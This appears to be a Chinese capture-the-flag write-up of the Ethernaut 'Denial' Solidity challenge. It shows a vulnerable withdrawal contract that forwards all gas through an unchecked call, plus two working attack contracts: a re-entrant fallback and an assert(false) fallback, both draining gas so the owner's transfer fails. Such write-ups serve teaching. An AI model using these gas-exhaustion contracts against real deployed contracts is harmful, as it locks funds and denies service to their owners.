源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
分析:
要求是让owner取不到钱,我们能做的就是在partner
端定义函数,使的发给owner
的步骤无法进行。这个题有两种解法。
然而,合约中调用的是call并附上了所有gas。我们先回顾一下send、call和transfer之间的区别。
transfer如果异常会转账失败,并抛出异常,存在gas限制
send如果异常会转账失败,返回false,不终止执行,存在gas限制
call如果异常会转账失败,返回false,不终止执行,没有gas限制
所以我们的入手点就是消耗光其gas,光失败不会终止后续执行的
第一种:
代码中的partner可通过上方的setWithdrawPartner函数来设定。 因此只要把partner设定为智能合约地址,即可使用另一合约中重复呼叫withdraw函数,直至把gas用光,函数无法继续执行。
攻击合约:
contract attack{
Denial denial=Denial(0x7EF2e0048f5bAeDe046f6BF797943daF4ED8CB47);
fallback()external payable{
denial.withdraw();
}
}
第二种:
我们就来看看require
和assert
。
assert
会消耗掉所有剩余的gas并恢复所有的操作require
会退还所有剩余的gas并返回一个值
攻击合约:
攻击合约很简单,就是默认assert(false)
并回滚一切操作。
pragma solidity ^0.6.0;
contract attacker {
fallback() external payable {
assert(false);
}
}